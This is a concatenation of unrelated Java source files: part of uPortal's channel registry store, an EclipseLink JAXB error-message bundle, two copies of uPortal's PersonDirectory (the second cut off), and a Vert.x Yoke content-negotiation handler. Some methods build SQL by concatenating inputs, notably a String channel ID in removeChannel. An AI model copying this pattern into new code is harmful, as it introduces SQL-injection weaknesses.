public void approveChannel(int chanId, IPerson approver, Date approveDate) throws Exception {
Connection con = RdbmServices.getConnection();
try {
Statement stmt = con.createStatement();
try {
String sUpdate = "UPDATE UP_CHANNEL SET CHAN_APVL_ID = " + approver.getID() +
", CHAN_APVL_DT = " + RdbmServices.sqlTimeStamp(approveDate) +
" WHERE CHAN_ID = " + chanId;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.approveChannel(): " + sUpdate);
stmt.executeUpdate(sUpdate);
} finally {
stmt.close();
}
} finally {
RdbmServices.releaseConnection(con);
}
}
/** A method for getting the next available channel ID.
* This would be called by a publish channel.
*/
public int getNextId () throws PortalException {
int nextID;
try {
nextID = UserLayoutStoreFactory.getUserLayoutStoreImpl().getIncrementIntegerId("UP_CHANNEL");
} catch (Exception e) {
LogService.instance().log(LogService.ERROR, e);
throw new GeneralRenderingException("Unable to allocate new channel ID");
}
return nextID;
}
/**
* Removes a channel from the channel registry. The channel
* is not actually deleted. Rather its status as an "approved"
* channel is revoked.
* @param chanID, the ID of the channel to delete
* @exception java.sql.SQLException
*/
public void removeChannel (String chanID) throws Exception {
Connection con = RdbmServices.getConnection();
try {
// Set autocommit false for the connection
RdbmServices.setAutoCommit(con, false);
Statement stmt = con.createStatement();
try {
chanID = chanID.startsWith("chan") ? chanID.substring(4) : chanID;
// Delete channel.
String sUpdate = "UPDATE UP_CHANNEL SET CHAN_APVL_DT=NULL WHERE CHAN_ID=" + chanID;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.removeChannel(): " + sUpdate);
stmt.executeUpdate(sUpdate);
// Commit the transaction
RdbmServices.commit(con);
} catch (SQLException sqle) {
// Roll back the transaction
RdbmServices.rollback(con);
throw sqle;
} finally {
stmt.close();
}
} finally {
RdbmServices.releaseConnection(con);
}
}
/**
* A method for persisting the channel registry to a file or database.
* @param registryXML an XML description of the channel registry
*/
public void setRegistryXML (String registryXML) throws Exception{
throw new Exception("not implemented yet");
}
/**
* @param chanDoc
* @return the chanDoc as an XML string
*/
private String serializeDOM (Document chanDoc) {
StringWriter stringOut = null;
try {
OutputFormat format = new OutputFormat(chanDoc); //Serialize DOM
stringOut = new StringWriter(); //Writer will be a String
XMLSerializer serial = new XMLSerializer(stringOut, format);
serial.asDOMSerializer(); // As a DOM Serializer
serial.serialize(chanDoc.getDocumentElement());
} catch (java.io.IOException ioe) {
LogService.instance().log(LogService.ERROR, ioe);
}
return stringOut.toString();
}
/**
* convert true/false into Y/N for database
* @param value to check
* @result boolean
*/
protected static final boolean xmlBool (String value) {
return (value != null && value.equals("true") ? true : false);
}
/**
* Manage the Channel cache
*/
/**
* See if the channel is already in the cache
* @param channel id
*/
protected boolean channelCached(int chanId) {
return channelCache.containsKey(new Integer(chanId));
}
/**
* Remove channel entry from cache
* @param channel id
*/
public void flushChannelEntry(int chanId) {
synchronized (channelLock) {
if (channelCache.remove(new Integer(chanId)) != null) {
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): flushed channel "
+ chanId + " from cache");
}
}
}
/**
* Get a channel from the cache (it better be there)
*/
public ChannelStoreDefinition getChannel(int chanId) {
return (ChannelStoreDefinition)channelCache.get(new Integer(chanId));
}
/**
* Get a channel from the cache (it better be there)
*/
public Element getChannelXML(int chanId, Document doc, String idTag) {
ChannelStoreDefinition channel = getChannel(chanId);
if (channel != null) {
return channel.getDocument(doc, idTag);
} else {
return null;
}
}
/**
* Get a channel from the cache or the store
*/
public ChannelStoreDefinition getChannel(int chanId, boolean cacheChannel, RdbmServices.PreparedStatement pstmtChannel, RdbmServices.PreparedStatement pstmtChannelParm) throws java.sql.SQLException {
Integer chanID = new Integer(chanId);
boolean inCache = true;
ChannelStoreDefinition channel = (ChannelStoreDefinition)channelCache.get(chanID);
if (channel == null) {
synchronized (channelLock) {
channel = (ChannelStoreDefinition)channelCache.get(chanID);
if (channel == null || cacheChannel && channel.refreshMe()) { // Still undefined or stale, let's get it
channel = getChannelStoreDefinition(chanId, pstmtChannel, pstmtChannelParm);
inCache = false;
if (cacheChannel) {
channelCache.put(chanID, channel);
if (DEBUG > 1) {
System.err.println("Cached channel " + chanId);
}
}
}
}
}
if (inCache) {
LogService.instance().log(LogService.DEBUG,
"RDBMChannelRegistryStore.getChannelStoreDefinition(): Got channel " + chanId + " from the cache");
}
return channel;
}
/**
* Read a channel definition from the data store
*/
protected ChannelStoreDefinition getChannelStoreDefinition (int chanId, RdbmServices.PreparedStatement pstmtChannel, RdbmServices.PreparedStatement pstmtChannelParm) throws java.sql.SQLException {
ChannelStoreDefinition channel = null;
pstmtChannel.clearParameters();
pstmtChannel.setInt(1, chanId);
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.getChannel(): " + pstmtChannel);
ResultSet rs = pstmtChannel.executeQuery();
try {
if (rs.next()) {
int chanType = rs.getInt(4);
if (rs.wasNull()) {
chanType = 0;
}
int publisherId = rs.getInt(5);
if (rs.wasNull()) {
publisherId = 0;
}
int approverId = rs.getInt(6);
if (rs.wasNull()) {
approverId = 0;
}
int timeout = rs.getInt(9);
if (rs.wasNull()) {
timeout = 0;
}
channel = new ChannelStoreDefinition(chanId, rs.getString(1), rs.getString(2), rs.getString(3),
chanType, publisherId, approverId, rs.getTimestamp(7), rs.getTimestamp(8), timeout,
rs.getString(10), rs.getString(11), rs.getString(12), rs.getString(13),
rs.getString(14));
int dbOffset = 0;
if (pstmtChannelParm == null) { // we are using a join statement so no need for a new query
dbOffset = 14;
} else {
rs.close();
pstmtChannelParm.clearParameters();
pstmtChannelParm.setInt(1, chanId);
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.getChannel(): " + pstmtChannelParm);
rs = pstmtChannelParm.executeQuery();
}
while (true) {
if (pstmtChannelParm != null && !rs.next()) {
break;
}
String name = rs.getString(dbOffset + 1);
String value = rs.getString(dbOffset + 2);
String override = rs.getString(dbOffset + 3);
if (name != null) {
channel.addParameter(name, value, override);
}
if (pstmtChannelParm == null && !rs.next()) {
break;
}
}
}
} finally {
rs.close();
}
LogService.instance().log(LogService.DEBUG,
"RDBMChannelRegistryStore.getChannelStoreDefinition(): Read channel " + chanId + " from the store");
return channel;
}
/**
* Get the channel node
* @param con
* @param doc
* @param chanId
* @param idTag
* @return the channel node as an XML Element
* @exception java.sql.SQLException
*/
public Element getChannelNode (int chanId, Connection con, Document doc, String idTag) throws java.sql.SQLException {
RdbmServices.PreparedStatement pstmtChannel = getChannelPstmt(con);
try {
RdbmServices.PreparedStatement pstmtChannelParm = getChannelParmPstmt(con);
try {
ChannelStoreDefinition cd = getChannel(chanId, false, pstmtChannel, pstmtChannelParm);
if (cd != null) {
return cd.getDocument(doc, idTag);
} else {
return null;
}
} finally {
if (pstmtChannelParm != null) {
pstmtChannelParm.close();
}
}
} finally {
pstmtChannel.close();
}
}
public final RdbmServices.PreparedStatement getChannelParmPstmt(Connection con) throws SQLException {
if (RdbmServices.supportsOuterJoins) {
return null;
} else {
return new RdbmServices.PreparedStatement(con, "SELECT CHAN_PARM_NM, CHAN_PARM_VAL,CHAN_PARM_OVRD,CHAN_PARM_DESC FROM UP_CHANNEL_PARAM WHERE CHAN_ID=?");
}
}
public final RdbmServices.PreparedStatement getChannelPstmt(Connection con) throws SQLException {
String sql;
sql = "SELECT UC.CHAN_TITLE,UC.CHAN_DESC,UC.CHAN_CLASS,UC.CHAN_TYPE_ID,UC.CHAN_PUBL_ID,UC.CHAN_APVL_ID,UC.CHAN_PUBL_DT,UC.CHAN_APVL_DT,"+
"UC.CHAN_TIMEOUT,UC.CHAN_EDITABLE,UC.CHAN_HAS_HELP,UC.CHAN_HAS_ABOUT,UC.CHAN_NAME,UC.CHAN_FNAME";
if (RdbmServices.supportsOuterJoins) {
sql += ",CHAN_PARM_NM, CHAN_PARM_VAL,CHAN_PARM_OVRD,CHAN_PARM_DESC FROM " + RdbmServices.joinQuery.getQuery("channel");
} else {
sql += " FROM UP_CHANNEL UC WHERE";
}
sql += " UC.CHAN_ID=? AND CHAN_APVL_DT IS NOT NULL AND CHAN_APVL_DT <= " + RdbmServices.sqlTimeStamp();
return new RdbmServices.PreparedStatement(con, sql);
}
}
|
package org.eclipse.persistence.exceptions.i18n;
import java.util.ListResourceBundle;
/**
* INTERNAL:
* <b>Purpose:</b><p>English ResourceBundle for JAXBException.</p>
*/
public class JAXBExceptionResource extends ListResourceBundle {
static final Object[][] contents = {
{"50000", "The path {0} contains no ObjectFactory or jaxb.index file and no sessions.xml was found"},
{"50001", "The class {0} requires a zero argument constructor or a specified factory method. Note that non-static inner classes do not have zero argument constructors and are not supported."},
{"50002", "Factory class specified without factory method on class {0}"},
{"50003", "The factory method named {0} is not declared on the class {1}"},
{"50004", "XmlAnyAttribute is invalid on property {0}. Must be used with a property of type Map"},
{"50005", "Only one property with XmlAnyAttribute allowed on class {0}"},
{"50006", "Invalid XmlElementRef on property {0} on class {1}. Referenced Element not declared"},
{"50007", "Name collision. Two classes have the XML type with uri {0} and name {1}"},
{"50008", "Unsupported Node class {0}. The createBinder(Class) method only supports the class org.w3c.dom.Node"},
{"50009", "The property or field {0} is annotated to be transient so can not be included in the proporder annotation."},
{"50010", "The property or field {0} must be an attribute because another field or property is annotated with XmlValue."},
{"50011", "The property or field {0} can not be annotated with XmlValue since it is a subclass of another XML-bound class."},
{"50012", "The property or field {0} was specified in propOrder but is not a valid property."},
{"50013", "The property or field {0} is required to be included in the propOrder element of the XMLType annotation."},
{"50014", "The property or field {0} with the XmlValue annotation must be of a type that maps to a simple schema type."},
{"50015", "XmlElementWrapper is only allowed on a collection or array property but [{0}] is not a collection or array property."},
{"50016", "Property [{0}] has an XmlID annotation but its type is not String."},
{"50017", "Invalid XmlIDREF on property [{0}]. Class [{1}] is required to have a property annotated with XmlID."},
{"50018", "XmlList is only allowed on a collection property but [{0}] is not a collection property."},
{"50019", "Invalid parameter type encountered while processing external metadata via properties Map. The Value associated with Key [eclipselink-oxm-xml] is required to be one of [Map<String, Source>], where String = package, Source = handle to metadata file."},
{"50021", "Invalid parameter type encountered while processing external metadata via properties Map. It is required that the Key be of type [String] (indicating package name)."},
{"50022", "Invalid parameter type encountered while processing external metadata via properties Map. It is required that the Value be of type [Source] (handle to metadata file)."},
{"50023", "A null Value for Key [{0}] was encountered while processing external metadata via properties Map. It is required that the Value be non-null and of type [Source] (handle to metadata file)."},
{"50024", "A null Key was encountered while processing external metadata via properties Map. It is required that the Key be non-null and of type [String] (indicating package name)."},
{"50025", "Could not load class [{0}] declared in the external metadata file. Please ensure that the class name is correct, and that the correct ClassLoader has been set."},
{"50026", "An exception occurred while attempting to create a JAXBContext for the XmlModel."},
{"50027", "An exception occurred while attempting to unmarshal externalized metadata file."},
{"50028", "A new instance of [{0}] could not be created."},
{"50029", "The class [{0}] provided on the XmlCustomizer does not implement the org.eclipse.persistence.config.DescriptorCustomizer interface."},
{"50030", "An attempt was made to set more than one XmlID property on class [{1}]. Property [{0}] cannot be set as XmlID, because property [{2}] is already set as XmlID."},
{"50031", "An attempt was made to set more than one XmlValue property on class [{0}]. Property [{1}] cannot be set as XmlValue, because property [{2}] is already set as XmlValue."},
{"50032", "An attempt was made to set more than one XmlAnyElement property on class [{0}]. Property [{1}] cannot be set as XmlAnyElement, because property [{2}] is already set as XmlAnyElement."},
{"50033", "The DomHandlerConverter for DomHandler [{0}] set on property [{1}] could not be initialized."},
{"50034", "The property or field [{0}] can not be annotated with XmlAttachmentRef since it is not a DataHandler."},
{"50035", "Since the property or field [{0}] is set as XmlIDREF, the target type of each XmlElement declared within the XmlElements list must have an XmlID property. Please ensure the target type of XmlElement [{1}] contains an XmlID property."},
{"50036", "The TypeMappingInfo with XmlTagName QName [{0}] needs to have a non-null Type set on it."},
{"50037", "The java-type with package [{0}] is not allowed in the bindings file keyed on package [{1}]."},
{"50038", "DynamicJAXBContext can not be created from concrete Classes. Please use org.eclipse.persistence.jaxb.JAXBContext, or specify org.eclipse.persistence.jaxb.JAXBContextFactory in your jaxb.properties file, to create a context from existing Classes."}
};
/**
* Return the lookup table.
*/
protected Object[][] getContents() {
return contents;
}
}
|
package org.jasig.portal.services;
import org.jasig.portal.security.*;
import org.jasig.portal.RDBMServices;
import org.jasig.portal.utils.XML;
import org.jasig.portal.utils.ResourceLoader;
import java.util.Hashtable;
import java.util.Vector;
import java.util.StringTokenizer;
import java.util.HashSet;
import java.util.Iterator;
import java.sql.Driver;
import java.sql.DriverManager;
import java.sql.Connection;
import java.sql.Statement;
import java.sql.ResultSet;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.NamingException;
import javax.naming.NamingEnumeration;
import javax.naming.directory.DirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import javax.naming.directory.SearchControls;
import javax.naming.directory.Attribute;
import javax.naming.directory.Attributes;
import javax.sql.DataSource;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import org.w3c.dom.Text;
import org.w3c.dom.Entity;
/**
* Extract eduPerson-like attributes from whatever LDAP directory or JDBC
* database happens to be lying around in the IT infrastructure.
*
* Parameterized by uPortal/properties/PersonDirs.xml.
* Original author is Howard.Gilbert@yale.edu.
*/
public class PersonDirectory {
public PersonDirectory() {
getParameters();
}
static Vector sources = null; // List of PersonDirInfo objects
static Hashtable drivers = new Hashtable(); // Registered JDBC drivers
public static HashSet propertynames = new HashSet();
public static Iterator getPropertyNamesIterator() {
return propertynames.iterator();
}
/**
* Parse XML file and create PersonDirInfo objects
*
* <p>Parameter file is uPortal/properties/PersonDirs.xml.
* It contains a <PersonDirs> object with a list of
* <PersonDirInfo> objects each defining an LDAP or JDBC source.
*
* <p>LDAP entry has format:
* <pre>
* <PersonDirInfo>
* <url>ldap://yu.yale.edu:389/dc=itstp, dc=yale, dc=edu</url>
* <logonid>cn=bogus,cn=Users,dc=itstp,dc=yale,dc=edu</logonid>
* <logonpassword>foobar</logonpassword>
* <uidquery>(cn={0})</uidquery>
* <usercontext>cn=Users</usercontext>
* <attributes>mail telephoneNumber</attributes>
* </PersonDirInfo>
* </pre>
*
* The logonid and logonpassword would be omitted for LDAP directories
* that do not require a signon. The URL establishes an "initial context"
* which acts like a root directory. The usercontext is a subdirectory
* relative to this initial context in which to search for usernames.
* In a lot of LDAP directories, the user context is "ou=People".
* The username is the {0} parameter substituted into the query. The
* query searches the subtree of objects under the usercontext, so if
* the usercontext is the whole directory the query searches the whole
* directory.
*
* <p>JDBC entry has format:
* <pre>
* <PersonDirInfo>
* <url>jdbc:oracle:thin:@oracleserver.yale.edu:1521:XXXX</url>
* <driver>oracle.jdbc.driver.OracleDriver</driver>
* <logonid>bogus</logonid>
* <logonpassword>foobar</logonpassword>
* <uidquery>select * from portal_person_directory where netid=?</uidquery>
* <attributes>last_name:sn first_name:givenName role</attributes>
* </PersonDirInfo>
* </pre>
*
* The SELECT can fetch any number of variables, but only the columns
* named in the attributes list will be actually used. When an attribute
* has two names, separated by a colon, the first name is used to find
* the variable/column in the result of the query and the second is the
* name used to store the value as an IPerson attribute. Generally we
* recommend the use of official eduPerson names however bad they might
* be (sn for "surname"). However, an institution may have local variables
* that they want to include, as the Yale variable "role" that includes
* distinctions like grad-student and non-ladder-faculty. This version of
* this code doesn't have the ability to transform values, so if you wanted
* to translate some bizzare collection of roles like Yale has to the
* simpler list of eduPersonAffiliation (faculty, student, staff) then
* join the query to a list-of-values table that does the translation.
*/
private synchronized boolean getParameters() {
if (sources!=null)
return true;
sources= new Vector();
try {
// Build a DOM tree out of uPortal/properties/PersonDirs.xml
Document doc = ResourceLoader.getResourceAsDocument(this.getClass(), "/properties/PersonDirs.xml");
// Each directory source is a <PersonDirInfo> (and its contents)
NodeList list = doc.getElementsByTagName("PersonDirInfo");
for (int i=0;i<list.getLength();i++) { // foreach PersonDirInfo
Element dirinfo = (Element) list.item(i);
PersonDirInfo pdi = new PersonDirInfo(); // Java object holding parameters
pdi.type = dirinfo.getAttribute("type");
for (Node param = dirinfo.getFirstChild();
param!=null; // foreach tag under the <PersonDirInfo>
param=param.getNextSibling()) {
if (!(param instanceof Element))
continue; // whitespace (typically \n) between tags
Element pele = (Element) param;
String tagname = pele.getTagName();
String value = getTextUnderElement(pele);
// each tagname corresponds to an object data field
if (tagname.equals("url")) {
pdi.url=value;
} else if (tagname.equals("res-ref-name")) {
pdi.ResRefName=value;
} else if (tagname.equals("logonid")) {
pdi.logonid=value;
} else if (tagname.equals("driver")) {
pdi.driver=value;
} else if (tagname.equals("logonpassword")) {
pdi.logonpassword=value;
} else if (tagname.equals("uidquery")) {
pdi.uidquery=value;
} else if (tagname.equals("fullnamequery")) {
pdi.fullnamequery=value;
} else if (tagname.equals("usercontext")) {
pdi.usercontext=value;
} else if (tagname.equals("attributes")) {
NodeList anodes = pele.getElementsByTagName("attribute");
int anodecount = anodes.getLength();
if (anodecount!=0) {
pdi.attributenames = new String[anodecount];
pdi.attributealiases = new String[anodecount];
for (int j =0; j<anodecount;j++) {
Element anode = (Element) anodes.item(j);
NodeList namenodes = anode.getElementsByTagName("name");
String aname = "$$$";
if (namenodes.getLength()!=0)
aname= getTextUnderElement(namenodes.item(0));
pdi.attributenames[j]=aname;
NodeList aliasnodes = anode.getElementsByTagName("alias");
if (aliasnodes.getLength()==0) {
pdi.attributealiases[j]=aname;
} else {
pdi.attributealiases[j]=getTextUnderElement(aliasnodes.item(0));
}
}
} else {
// The <attributes> tag contains a list of names
// and optionally aliases each in the form
// name[:alias]
// The name is an LDAP property or database column name.
// The alias, if it exists, is an eduPerson property that
// corresponds to the previous LDAP or DBMS name.
// If no alias is specified, the eduPerson name is also
// the LDAP or DBMS column name.
StringTokenizer st = new StringTokenizer(value);
int n = st.countTokens();
pdi.attributenames = new String[n];
pdi.attributealiases = new String[n];
for (int k=0;k<n;k++) {
String tk = st.nextToken();
int pos =tk.indexOf(':');
if (pos>0) { // There is an alias
pdi.attributenames[k]=tk.substring(0,pos);
pdi.attributealiases[k]=tk.substring(pos+1);
} else { // There is no alias
pdi.attributenames[k]=tk;
pdi.attributealiases[k]=tk;
}
}
}
} else {
LogService.instance().log(LogService.ERROR,"PersonDirectory::getParameters(): Unrecognized tag "+tagname+" in PersonDirs.xml");
}
}
for (int ii=0;ii<pdi.attributealiases.length;ii++) {
String aa = pdi.attributealiases[ii];
propertynames.add(aa);
}
sources.addElement(pdi); // Add one LDAP or JDBC source to the list
}
}
catch(Exception e)
{
LogService.instance().log(LogService.WARN,"PersonDirectory::getParameters(): properties/PersonDirs.xml is not available, directory searching disabled.");
return false;
}
return true;
}
private String getTextUnderElement(Node nele) {
if (!(nele instanceof Element))
return null;
Element pele = (Element) nele;
StringBuffer vb = new StringBuffer();
NodeList vnodes = pele.getChildNodes();
for (int j =0; j<vnodes.getLength();j++) {
Node vnode = vnodes.item(j);
if (vnode instanceof Text)
vb.append(((Text)vnode).getData());
}
return vb.toString();
}
/**
* Run down the list of LDAP or JDBC sources and extract info from each
*/
public Hashtable getUserDirectoryInformation (String username){
Hashtable attribs = new Hashtable();
for (int i=0;i<sources.size();i++) {
PersonDirInfo pdi = (PersonDirInfo) sources.elementAt(i);
if (pdi.disabled)
continue;
// new format of personDirs.xml is type attribute to distinguish
// DataSource from ldap source
if (pdi.type==null || pdi.type.length()==0) {
if (pdi.url.startsWith("ldap:")) processLdapDir(username, pdi,attribs);
if (pdi.url.startsWith("jdbc:")) processJdbcDir(username, pdi,attribs);
}
else if (pdi.type.equals("ldap"))
processLdapDir(username, pdi,attribs);
else if (pdi.type.equals("DataSource"))
processJdbcDir(username, pdi,attribs);
}
return attribs;
}
public void getUserDirectoryInformation(String uid, IPerson m_Person) {
java.util.Hashtable attribs = this.getUserDirectoryInformation(uid);
java.util.Enumeration en = attribs.keys();
while (en.hasMoreElements()) {
String key = (String) en.nextElement();
String value = (String) attribs.get(key);
m_Person.setAttribute(key,value);
}
}
/**
* Extract named attributes from a single LDAP directory
*
* <p>Connect to the LDAP server indicated by the URL.
* An optional userid and password will be used if the LDAP server
* requires logon (AD does, most directories don't). The userid given
* here would establish access privileges to directory fields for the
* uPortal. Connection establishes an initial context (like a current
* directory in a file system) that is usually the root of the directory.
* Howwever, while a file system root is simply "/", a directory root is
* the global name of the directory, like "dc=yu,dc=yale,dc=edu" or
* "o=Yale University",c=US". Then search a subcontext where the people
* are (cn=Users in AD, ou=People sometimes, its a local convention).
*
*/
void processLdapDir(String username, PersonDirInfo pdi, Hashtable attribs) {
//JNDI boilerplate to connect to an initial context
Hashtable jndienv = new Hashtable();
DirContext context = null;
jndienv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
jndienv.put(Context.SECURITY_AUTHENTICATION,"simple");
jndienv.put(Context.PROVIDER_URL,pdi.url);
if (pdi.logonid!=null)
jndienv.put(Context.SECURITY_PRINCIPAL,pdi.logonid);
if (pdi.logonpassword!=null)
jndienv.put(Context.SECURITY_CREDENTIALS,pdi.logonpassword);
try {
context = new InitialDirContext(jndienv);
} catch (NamingException nex) {
return;
}
// Search for the userid in the usercontext subtree of the directory
// Use the uidquery substituting username for {0}
NamingEnumeration userlist = null;
SearchControls sc = new SearchControls();
sc.setSearchScope(SearchControls.SUBTREE_SCOPE);
Object [] args = new Object[] {username};
try {
userlist = context.search(pdi.usercontext,pdi.uidquery,args,sc);
} catch (NamingException nex) {
return;
}
// If one object matched, extract properties from the attribute list
try {
if (userlist.hasMoreElements()) {
SearchResult result = (SearchResult) userlist.next();
Attributes ldapattribs = result.getAttributes();
for (int i=0;i<pdi.attributenames.length;i++) {
Attribute tattrib = null;
if (pdi.attributenames[i] != null)
tattrib = ldapattribs.get(pdi.attributenames[i]);
if (tattrib!=null) {
String value = tattrib.get().toString();
attribs.put(pdi.attributealiases[i],value);
}
}
}
} catch (NamingException nex) {
;
}
try {userlist.close();} catch (Exception e) {;}
try {context.close();} catch (Exception e) {;}
}
/**
* Extract data from a JDBC database
*/
void processJdbcDir(String username, PersonDirInfo pdi, Hashtable attribs) {
Connection conn = null;
PreparedStatement stmt = null;
ResultSet rs = null;
try {
// Get a connection with from container
if (pdi.ResRefName!=null && pdi.ResRefName.length()>0) {
RDBMServices rdbmServices = new RDBMServices();
conn = rdbmServices.getConnection(pdi.ResRefName);
}
// if no resource reference found use URL to get jdbc connection
if (conn == null) {
// Register the driver class if it has not already been registered
// Not agressively synchronized, duplicate registrations are OK.
if (pdi.driver!=null && pdi.driver.length()>0) {
if (drivers.get(pdi.driver)==null) {
try {
Driver driver = (Driver) Class.forName(pdi.driver).newInstance();
DriverManager.registerDriver(driver);
drivers.put(pdi.driver,driver);
} catch (Exception driverproblem) {
pdi.disabled=true;
pdi.logged=true;
LogService.instance().log(LogService.ERROR,"PersonDirectory::processJdbcDir(): Cannot register driver class "+pdi.driver);
return;
}
}
}
conn = DriverManager.getConnection(pdi.url,pdi.logonid,pdi.logonpassword);
}
// Execute query substituting Username for parameter
stmt = conn.prepareStatement(pdi.uidquery);
stmt.setString(1,username);
rs = stmt.executeQuery();
rs.next(); // get the first (only) row of result
// Foreach attribute, put its value and alias in the hashtable
for (int i=0;i<pdi.attributenames.length;i++) {
try {
String value = null;
String attName = pdi.attributenames[i];
if (attName != null && attName.length() != 0)
value = rs.getString(attName);
if (value!=null) {
attribs.put(pdi.attributealiases[i],value);
}
} catch (SQLException sqle) {
; // Don't let error in a field prevent processing of others.
LogService.log(LogService.ERROR,"PersonDirectory::processJdbcDir(): Error accessing JDBC field "+pdi.attributenames[i]+" "+sqle);
}
}
} catch (Exception e) {
; // If database down or can't logon, ignore this data source
// It is not clear that we want to disable the source, since the
// database may be temporarily down.
LogService.log(LogService.ERROR,"PersonDirectory::processJdbcDir(): Error "+e);
}
if (rs!=null) try {rs.close();} catch (Exception e) {;}
if (stmt!=null) try {stmt.close();} catch (Exception e) {;}
if (conn!=null) try {conn.close();} catch (Exception e) {;}
}
private class PersonDirInfo {
String type; // protocol, server, and initial connection parameters
String url; // protocol, server, and initial connection parameters
String ResRefName; // Resource Reference name for a J2EE style DataSource
String driver; // JDBC java class to register
String logonid; // database userid or LDAP user DN (if needed)
String logonpassword; // password
String usercontext; // where are users? "OU=people" or "CN=Users"
String uidquery; // SELECT or JNDI query for userid
String fullnamequery; // SELECT or JNDI query using fullname
String[] attributenames;
String[] attributealiases;
boolean disabled = false;
boolean logged = false;
}
}
|
package com.jetdrone.vertx.yoke.annotations.processors;
import com.jetdrone.vertx.yoke.Middleware;
import com.jetdrone.vertx.yoke.annotations.*;
import com.jetdrone.vertx.yoke.middleware.Router;
import com.jetdrone.vertx.yoke.middleware.YokeRequest;
import org.vertx.java.core.Handler;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ContentNegotiationProcessorHandler extends AbstractAnnotationHandler<Router> {
public ContentNegotiationProcessorHandler() {
super(Router.class);
}
@Override
public void process(final Router router, final Object instance, final Class<?> clazz, final Method method) {
Produces clazzProducesAnn = Processor.getAnnotation(clazz, Produces.class);
Consumes clazzConsumesAnn = Processor.getAnnotation(clazz, Consumes.class);
String[] clazzProduces = clazzProducesAnn != null ? clazzProducesAnn.value() : null;
String[] clazzConsumes = clazzConsumesAnn != null ? clazzConsumesAnn.value() : null;
Produces producesAnn = Processor.getAnnotation(method, Produces.class);
Consumes consumesAnn = Processor.getAnnotation(method, Consumes.class);
String[] produces = producesAnn != null ? producesAnn.value() : null;
String[] consumes = consumesAnn != null ? consumesAnn.value() : null;
if (produces == null) {
produces = clazzProduces;
}
if (consumes == null) {
consumes = clazzConsumes;
}
if (produces == null && consumes == null) {
return;
}
// process the methods that have both YokeRequest and Handler
if (Processor.isCompatible(method, ALL.class, YokeRequest.class, Handler.class)) {
router.all(Processor.getAnnotation(method, ALL.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, CONNECT.class, YokeRequest.class, Handler.class)) {
router.connect(Processor.getAnnotation(method, CONNECT.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, OPTIONS.class, YokeRequest.class, Handler.class)) {
router.options(Processor.getAnnotation(method, OPTIONS.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, HEAD.class, YokeRequest.class, Handler.class)) {
router.head(Processor.getAnnotation(method, HEAD.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, GET.class, YokeRequest.class, Handler.class)) {
router.get(Processor.getAnnotation(method, GET.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, POST.class, YokeRequest.class, Handler.class)) {
router.post(Processor.getAnnotation(method, POST.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, PUT.class, YokeRequest.class, Handler.class)) {
router.put(Processor.getAnnotation(method, PUT.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, PATCH.class, YokeRequest.class, Handler.class)) {
router.patch(Processor.getAnnotation(method, PATCH.class).value(), wrap(consumes, produces));
}
if (Processor.isCompatible(method, DELETE.class, YokeRequest.class, Handler.class)) {
router.delete(Processor.getAnnotation(method, DELETE.class).value(), wrap(consumes, produces));
}
}
@Override
public void process(Router router, Object instance, Class<?> clazz, Field field) {
// NOOP
}
private static Middleware wrap(final String[] consumes, final String[] produces) {
return new Middleware() {
@Override
public void handle(YokeRequest request, Handler<Object> next) {
// we only know how to process certain media types
if (consumes != null) {
boolean canConsume = false;
for (String c : consumes) {
if (request.is(c)) {
canConsume = true;
break;
}
}
if (!canConsume) {
// 415 Unsupported Media Type (we don't know how to handle this media)
next.handle(415);
return;
}
}
// the object was marked with a specific content type
if (produces != null) {
String bestContentType = request.accepts(produces);
// the client does not know how to handle our content type, return 406
if (bestContentType == null) {
next.handle(406);
return;
}
// mark the response with the correct content type (which allows middleware to know it later on)
request.response().setContentType(bestContentType);
}
// the request can be handled, it does respect the content negotiation
next.handle(null);
}
};
}
}
|
package org.jasig.portal.services;
import org.jasig.portal.RdbmServices;
import org.jasig.portal.security.*;
import org.jasig.portal.utils.XML;
import org.jasig.portal.utils.ResourceLoader;
import java.util.Hashtable;
import java.util.Vector;
import java.util.StringTokenizer;
import java.util.HashSet;
import java.util.Iterator;
import java.sql.Driver;
import java.sql.DriverManager;
import java.sql.Connection;
import java.sql.Statement;
import java.sql.ResultSet;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.NamingException;
import javax.naming.NamingEnumeration;
import javax.naming.directory.DirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import javax.naming.directory.SearchControls;
import javax.naming.directory.Attribute;
import javax.naming.directory.Attributes;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import org.w3c.dom.Text;
import org.w3c.dom.Entity;
/**
* Extract eduPerson-like attributes from whatever LDAP directory or JDBC
* database happens to be lying around in the IT infrastructure.
*
* Parameterized by uPortal/properties/PersonDirs.xml.
* Original author is Howard.Gilbert@yale.edu.
*/
public class PersonDirectory {
public PersonDirectory() {
getParameters();
}
static Vector sources = null; // List of PersonDirInfo objects
static Hashtable drivers = new Hashtable(); // Registered JDBC drivers
public static HashSet propertynames = new HashSet();
public static Iterator getPropertyNamesIterator() {
return propertynames.iterator();
}
/**
* Parse XML file and create PersonDirInfo objects
*
* <p>Parameter file is uPortal/properties/PersonDirs.xml.
* It contains a <PersonDirs> object with a list of
* <PersonDirInfo> objects each defining an LDAP or JDBC source.
*
* <p>LDAP entry has format:
* <pre>
* <PersonDirInfo>
